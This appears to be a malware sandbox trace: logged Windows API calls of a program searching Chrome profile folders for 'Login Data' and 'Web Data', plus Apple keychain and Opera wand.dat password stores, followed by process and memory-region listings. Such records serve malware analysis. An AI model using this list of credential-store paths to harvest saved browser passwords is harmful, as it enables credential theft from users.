	[0102.120] wcscat (in: _Dest=0x18b4f0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Login Data"
	[0102.120] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\login data")) returned 0xffffffff
	[0102.120] FindNextFileW (in: hFindFile=0x616500, lpFindFileData=0x18b9a4 | out: lpFindFileData=0x18b9a4) returned 1
	[0102.120] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.120] wcslen (_String="SwReporter") returned 0xa
	[0102.120] wcscpy (in: _Dest=0x18bbf4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.120] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.120] wcscat (in: _Dest=0x18bbf4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\"
	[0102.120] wcscat (in: _Dest=0x18bbf4, _Source="SwReporter" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter"
	[0102.120] wcscmp (_String1="SwReporter", _String2="..") returned 1
	[0102.120] wcscmp (_String1="SwReporter", _String2=".") returned 1
	[0102.120] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 0x42
	[0102.120] wcslen (_String="Web Data") returned 0x8
	[0102.120] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter"
	[0102.120] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 0x42
	[0102.120] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\"
	[0102.120] wcscat (in: _Dest=0x18b4f0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Web Data"
	[0102.120] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\swreporter\\web data")) returned 0xffffffff
	[0102.120] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 0x42
	[0102.120] wcslen (_String="Login Data") returned 0xa
	[0102.120] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter"
	[0102.120] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter") returned 0x42
	[0102.120] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\"
	[0102.120] wcscat (in: _Dest=0x18b4f0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Login Data"
	[0102.120] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\swreporter\\login data")) returned 0xffffffff
	[0102.120] FindNextFileW (in: hFindFile=0x616500, lpFindFileData=0x18b9a4 | out: lpFindFileData=0x18b9a4) returned 1
	[0102.120] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.120] wcslen (_String="WidevineCdm") returned 0xb
	[0102.120] wcscpy (in: _Dest=0x18bbf4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.120] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.120] wcscat (in: _Dest=0x18bbf4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\"
	[0102.120] wcscat (in: _Dest=0x18bbf4, _Source="WidevineCdm" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm"
	[0102.120] wcscmp (_String1="WidevineCdm", _String2="..") returned 1
	[0102.120] wcscmp (_String1="WidevineCdm", _String2=".") returned 1
	[0102.121] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 0x43
	[0102.121] wcslen (_String="Web Data") returned 0x8
	[0102.121] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm"
	[0102.121] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 0x43
	[0102.121] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\"
	[0102.121] wcscat (in: _Dest=0x18b4f0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Web Data"
	[0102.121] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\web data")) returned 0xffffffff
	[0102.121] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 0x43
	[0102.121] wcslen (_String="Login Data") returned 0xa
	[0102.121] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm"
	[0102.121] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm") returned 0x43
	[0102.121] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\"
	[0102.121] wcscat (in: _Dest=0x18b4f0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Login Data"
	[0102.121] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\login data")) returned 0xffffffff
	[0102.121] FindNextFileW (in: hFindFile=0x616500, lpFindFileData=0x18b9a4 | out: lpFindFileData=0x18b9a4) returned 0
	[0102.121] FindClose (in: hFindFile=0x616500 | out: hFindFile=0x616500) returned 1
	[0102.121] wcslen (_String="Google\\Chrome SxS\\User Data") returned 0x1b
	[0102.121] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f
	[0102.121] wcscpy (in: _Dest=0x18cd28, _Source="C:\\Users\\aETAdzjz\\AppData\\Local" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local") returned="C:\\Users\\aETAdzjz\\AppData\\Local"
	[0102.121] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f
	[0102.121] wcscat (in: _Dest=0x18cd28, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\"
	[0102.121] wcscat (in: _Dest=0x18cd28, _Source="Google\\Chrome SxS\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data"
	[0102.121] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data") returned 0x3b
	[0102.121] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data") returned 0x3b
	[0102.121] wcslen (_String="*.*") returned 0x3
	[0102.121] wcscpy (in: _Dest=0x18b71c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data"
	[0102.121] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data") returned 0x3b
	[0102.121] wcscat (in: _Dest=0x18b71c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\"
	[0102.121] wcscat (in: _Dest=0x18b71c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\*.*"
	[0102.121] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\*.*", lpFindFileData=0x18b9a4 | out: lpFindFileData=0x18b9a4) returned 0xffffffff
	[0102.122] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18bf04, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 1
	[0102.122] wcslen (_String="Apple Computer\\Preferences\\keychain.plist") returned 0x29
	[0102.122] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0102.122] wcscpy (in: _Dest=0x18cd28, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming"
	[0102.122] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0102.122] wcscat (in: _Dest=0x18cd28, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\"
	[0102.122] wcscat (in: _Dest=0x18cd28, _Source="Apple Computer\\Preferences\\keychain.plist" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Apple Computer\\Preferences\\keychain.plist") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Apple Computer\\Preferences\\keychain.plist"
	[0102.122] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Apple Computer\\Preferences\\keychain.plist" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\apple computer\\preferences\\keychain.plist")) returned 0xffffffff
	[0102.122] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18cd28, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 1
	[0102.122] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0102.122] wcslen (_String="Opera\\Opera\\wand.dat") returned 0x14
	[0102.122] wcscpy (in: _Dest=0x18cf38, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming"
	[0102.122] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0102.122] wcscat (in: _Dest=0x18cf38, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\"
	[0102.122] wcscat (in: _Dest=0x18cf38, _Source="Opera\\Opera\\wand.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\Opera\\wand.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\Opera\\wand.dat"
	[0102.122] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\Opera\\wand.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\opera\\opera\\wand.dat")) returned 0xffffffff
	[0102.122] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0102.122] wcslen (_String="Opera\\Opera7\\profile\\wand.dat") returned 0x1d
	[0102.122] wcscpy (in: _Dest=0x18cf38, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming"
	[0102.122] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0102.122] wcscat (in: _Dest=0x18cf38, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\"
	[0102.122] wcscat (in: _Dest=0x18cf38, _Source="Opera\\Opera7\\profile\\wand.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\Opera7\\profile\\wand.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\Opera7\\profile\\wand.dat"
	[0102.122] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\Opera7\\profile\\wand.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\opera\\opera7\\profile\\wand.dat")) returned 0xffffffff
	[0102.123] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0102.123] wcslen (_String="Opera") returned 0x5
	[0102.123] wcscpy (in: _Dest=0x18cb18, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming"
	[0102.123] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0102.123] wcscat (in: _Dest=0x18cb18, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\"
	[0102.123] wcscat (in: _Dest=0x18cb18, _Source="Opera" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera"
	[0102.123] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera") returned 0x27
	[0102.123] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera") returned 0x27
	[0102.123] wcslen (_String="*.*") returned 0x3
	[0102.123] wcscpy (in: _Dest=0x18c12c, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera"
	[0102.123] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera") returned 0x27
	[0102.123] wcscat (in: _Dest=0x18c12c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\"
	[0102.123] wcscat (in: _Dest=0x18c12c, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\*.*"
	[0102.123] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera\\*.*", lpFindFileData=0x18c3b4 | out: lpFindFileData=0x18c3b4) returned 0xffffffff
	[0102.123] FreeLibrary (hLibModule=0x73ba0000) returned 1
	[0102.123] FreeLibrary (hLibModule=0x759d0000) returned 1
	[0102.124] WriteFile (in: hFile=0xfc, lpBuffer=0x448b84*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18f77c, lpOverlapped=0x0 | out: lpBuffer=0x448b84*, lpNumberOfBytesWritten=0x18f77c*=0x2, lpOverlapped=0x0) returned 1
	[0102.125] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007
	[0102.125] SetCursor (hCursor=0x10007) returned 0x10007
	[0102.125] CloseHandle (hObject=0xfc) returned 1
	[0102.125] SetCursor (hCursor=0x10007) returned 0x10007
	[0102.125] DeleteObject (ho=0xb20a07ab) returned 1
	[0102.126] exit (_Code=0) 

Thread:
	id = 162
	os_tid = 0xae4


Process:
	id = "11"
	image_name = "taskeng.exe"
	filename = "c:\\windows\\system32\\taskeng.exe"
	page_root = "0x57da0000"
	os_pid = "0x7a0"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "7"
	os_parent_pid = "0x338"
	cmd_line = "taskeng.exe {D705F4A7-FD4C-455F-9EC4-5440238A08E1} S-1-5-18:NT AUTHORITY\\System:Service:"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000c340" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 1974
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1975
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1976
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1977
	        start_va = 0x130000
	          end_va = 0x1affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000130000"
	        filename = ""

Region:
	              id = 1978
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1979
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1980
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1981
	        start_va = 0xffc20000
	          end_va = 0xffc93fff
	     entry_point = 0xffc20000
	     region_type = mapped_file
	            name = "taskeng.exe"
	        filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe")

Region:
	              id = 1982
	        start_va = 0x7feff770000
	          end_va = 0x7feff770fff
	     entry_point = 0x7feff770000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1983
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1984
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 1985
	        start_va = 0x7fffffdf000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdf000"
	        filename = ""

Region:
	              id = 1986
	        start_va = 0x2e0000
	          end_va = 0x3dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002e0000"
	        filename = ""

Region:
	              id = 1987
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x77330000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1988
	        start_va = 0x7fefd6c0000
	          end_va = 0x7fefd72afff
	     entry_point = 0x7fefd6c0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1989
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1990
	        start_va = 0x20000
	          end_va = 0x26fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 1991
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1992
	        start_va = 0xc0000
	          end_va = 0xc1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 1993
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 1994
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 1995
	        start_va = 0x1b0000
	          end_va = 0x2affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001b0000"
	        filename = ""

Region:
	              id = 1996
	        start_va = 0x3e0000
	          end_va = 0x49ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000003e0000"
	        filename = ""

Region:
	              id = 1997
	        start_va = 0x540000
	          end_va = 0x54ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000540000"
	        filename = ""

Region:
	              id = 1998
	        start_va = 0x550000
	          end_va = 0x6d7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000550000"
	        filename = ""

Region:
	              id = 1999
	        start_va = 0x6e0000
	          end_va = 0x860fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000006e0000"
	        filename = ""

Region:
	              id = 2000
	        start_va = 0x870000
	          end_va = 0xc62fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000870000"
	        filename = ""

Region:
	              id = 2001
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x77230000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2002
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2003
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2004
	        start_va = 0x7fefa9c0000
	          end_va = 0x7fefa9c9fff
	     entry_point = 0x7fefa9c0000
	     region_type = mapped_file
	            name = "ktmw32.dll"
	        filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll")

Region:
	              id = 2005
	        start_va = 0x7fefcec0000
	          end_va = 0x7fefcf2cfff
	     entry_point = 0x7fefcec0000
	     region_type = mapped_file
	            name = "wevtapi.dll"
	        filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")

Region:
	              id = 2006
	        start_va = 0x7fefd8a0000
	          end_va = 0x7fefd976fff
	     entry_point = 0x7fefd8a0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2007
	        start_va = 0x7fefd980000
	          end_va = 0x7fefdb82fff
	     entry_point = 0x7fefd980000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2008
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdc98fff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2009
	        start_va = 0x7fefed30000
	          end_va = 0x7fefee5cfff
	     entry_point = 0x7fefed30000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2010
	        start_va = 0x7fefee60000
	          end_va = 0x7fefee8dfff
	     entry_point = 0x7fefee60000
	     region_type = mapped_file
	            name = "imm32.dll"
